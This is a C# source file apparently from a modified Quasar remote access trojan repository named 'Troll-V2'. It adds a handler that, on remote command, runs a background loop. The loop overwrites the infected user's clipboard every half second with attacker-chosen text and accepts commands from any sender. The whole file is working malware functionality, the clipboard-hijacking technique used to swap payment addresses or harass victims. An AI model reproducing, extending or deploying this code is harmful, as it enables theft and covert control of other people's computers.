Files
Troll-V2/Quasar.Client/Messages/ClipboardHijackHandler.cs
T

55 lines
1.6 KiB
C#
Raw Normal View History

2026-08-27 11:22:16 -06:00
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client.Messages
{
public class ClipboardHijackHandler : IMessageProcessor, IDisposable
{
private Thread _thread;
private volatile bool _running;
private string _replacementText;
public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoStartClipboardHijack start: Start(start.ReplacementText); break;
case DoStopClipboardHijack _: Stop(); break;
}
}
private void Start(string replacementText)
{
Stop();
_replacementText = replacementText;
_running = true;
_thread = new Thread(() =>
{
while (_running)
{
try
{
if (Clipboard.GetText() != _replacementText)
Clipboard.SetText(_replacementText);
}
catch { }
Thread.Sleep(500);
}
});
_thread.SetApartmentState(ApartmentState.STA);
_thread.IsBackground = true;
_thread.Start();
}
private void Stop() => _running = false;
public void Dispose() => Stop();
}
}